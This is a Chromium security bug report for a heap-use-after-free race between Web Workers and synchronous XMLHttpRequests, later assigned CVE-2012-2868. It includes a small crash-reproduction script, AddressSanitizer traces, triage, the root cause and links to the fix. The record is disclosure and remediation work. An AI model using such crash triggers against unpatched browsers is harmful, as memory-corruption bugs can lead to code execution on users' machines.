New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 136881 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Last visit > 30 days ago
Closed: Dec 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Security: race condition with workers and sync xmlhttprequests

Reported by miau...@gmail.com, Jul 11 2012

Issue description


VULNERABILITY DETAILS
race condition with workers and sync xmlhttprequests

VERSION
Chrome Version: trunk
Chromium	22.0.1199.0 (Developer Build 145612)
OS	Mac OS X
WebKit	537.1 (trunk@121126)
JavaScript	V8 3.12.9

Operating System: osx lion + 64bit precise

REPRODUCTION CASE

<script>
  new Worker('m.js')
  setTimeout("location.reload()", 200)
</script>

m.js:
for (var i=0; i<100; i++) {
    req = new XMLHttpRequest
    req.open("GET", "A", false)
    req.send()
}

http schema required


FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: asan + tab
Crash State: 

==18424== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffdd307f80 at pc 0x55555941a6a5 bp 0x7fffe7b8b4d0 sp 0x7fffe7b8b4c8
READ of size 4 at 0x7fffdd307f80 thread T98
    #0 0x55555941a6a5 in WebCore::ResourceResponse::~ResourceResponse() ???:0
    #1 0x55555aa9f52b in WebCore::XMLHttpRequest::~XMLHttpRequest() ???:0
    #2 0x55555aa9eefe in WebCore::XMLHttpRequest::~XMLHttpRequest() ???:0

0x7fffdd307f80 is located 0 bytes inside of 50-byte region [0x7fffdd307f80,0x7fffdd307fb2)
freed by thread T0 here:
    #0 0x55555e8cd452 in free ??:0
    #1 0x55555941a4d1 in WebCore::ResourceResponse::~ResourceResponse() ???:0
    #2 0x55555a8cc361 in WebCore::CachedResource::~CachedResource() ???:0
    #3 0x55555ae50c0e in WebCore::CachedRawResource::~CachedRawResource() ???:0

osx:

==21806== ERROR: AddressSanitizer heap-use-after-free on address 0x1b9ad080 at pc 0x44a0020 bp 0xb129e778 sp 0xb129e774
READ of size 4 at 0x1b9ad080 thread T20
    #0 0x44a0020 in WebCore::ResourceResponse::~ResourceResponse() (in Chromium Framework) + 976
    #1 0x308739d in WebCore::XMLHttpRequest::~XMLHttpRequest() (in Chromium Framework) + 1341
    #2 0x3086de1 in WebCore::XMLHttpRequest::~XMLHttpRequest() (in Chromium Framework) + 17
    #3 0x23d4755 in WebCore::DOMData::derefObject(WebCore::WrapperTypeInfo*, void*) (in Chromium Framework) + 53

0x1b9ad080 is located 0 bytes inside of 40-byte region [0x1b9ad080,0x1b9ad0a8)
freed by thread T0 here:
    #0 0xdc760 in (anonymous namespace)::mz_free(_malloc_zone_t*, void*) (in Chromium Helper) + 80
    #1 0xdc113 in wrap_free (in Chromium Helper) + 83
    #2 0x449fe45 in WebCore::ResourceResponse::~ResourceResponse() (in Chromium Framework) + 501
    #3 0x2e758e4 in WebCore::CachedResource::~CachedResource() (in Chromium Framework) + 692
    #4 0x2e74831 in WebCore::CachedRawResource::~CachedRawResource() (in Chromium Framework) + 17



 
worker.html
79 bytes View Download
m.js
106 bytes View Download
linux.txt
11.5 KB View Download
osx.txt
15.1 KB View Download
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit SecSeverity-Medium OS-All Stability-AddressSanitizer
Owner: michaeln@chromium.org
Status: Assigned
Michael, can you please take a look or help with an owner.

Miaubiz, this is an extremely flaky repro. if it produces reliably on your box, can you check if it impacts stable ?
Is this a newly introduced bug or are you just now are noticing something that's been around for a while?
I think miaubiz can comment on that based on reproducibility on his machine. for me, the repro reproduces 1 in like 50 times, so neither me nor ClusterFuzz can't tell whether it affects stable or not.

Comment 4 by miau...@gmail.com, Jul 12 2012

stable is affected also (on my box :|)
Labels: SecImpacts-Stable SecImpacts-Beta Mstone-20
Thanks miaubiz.
Labels: -Mstone-20 Mstone-21
gah... i had lost track of this one!
Labels: Security-CodeYellow
Please do read Mark's email titled "Code Yellow: Security Bug Backlog" on chrome-team mailing list.
Cc: japhet@chromium.org
cc'ing nate on this one too since he knows something about 'the loader' and how it plays with cached resources and such
Cc: levin@chromium.org
... and cc'ing levin who knows something about ThreadableLoaders and CrossThreadCopier and such

ASAN is complaining about ResponseResponse being accessed (deleted) on the worker thread after it's been deleted on the main thread, but the ResourceResponse in question is an inline data member of the XHR class which is very much a worker-thread-only sort of object... and the ResourceResponse poked at on the worker is a CrossThreadCopier produced thing (maybe we missed copying some response data members properly in there??)

But most curiously... ~XHRHttpRequest is on the stack twice... wassup with that.. that may be closer to the real problem?

    #0 0x44a0020 in WebCore::ResourceResponse::~ResourceResponse() (in Chromium Framework) + 976
    #1 0x308739d in WebCore::XMLHttpRequest::~XMLHttpRequest() (in Chromium Framework) + 1341
    #2 0x3086de1 in WebCore::XMLHttpRequest::~XMLHttpRequest() (in Chromium Framework) + 17
David found it... we're not cross-thread-copying the String m_remoteIPAddress ResourceResponse data member.

Thank you!

I'll make a patch for this.
Patch out for review in webkit-land...
https://bugs.webkit.org/show_bug.cgi?id=93158
I guess we'll want to patch that in to the release branch after its committed.
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
http://trac.webkit.org/changeset/124682
per a chat with inferno, leaving any merging to be done to others 
Labels: reward-topanel
Labels: -reward-topanel reward-500 reward-unpaid
Thanks miaubiz. Race condition => $500
Labels: -Merge-Approved Merge-Merged
M21: http://trac.webkit.org/changeset/126646
Labels: CVE-2012-2868
Labels: -reward-unpaid
Project Member

Comment 21 by bugdroid1@chromium.org, Oct 14 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Status: Fixed
Project Member

Comment 23 by bugdroid1@chromium.org, Jan 18 2013

Labels: Restrict-View-EditIssue
Restrict-View-EditIssue is preferred since it allows anyone who can edit an issue (committers and contributors) to view the bug.
Project Member

Comment 24 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecSeverity-Medium -Stability-AddressSanitizer -SecImpacts-Stable -SecImpacts-Beta -Mstone-21 Cr-Content Security-Impact-Beta Security-Severity-Medium M-21 Performance-Memory-AddressSanitizer Security-Impact-Stable Type-Bug-Security
Project Member

Comment 25 by bugdroid1@chromium.org, Mar 14 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 27 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 28 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-Medium Security_Severity-Medium
Project Member

Comment 29 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 30 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 31 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 32 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 33 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 34 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment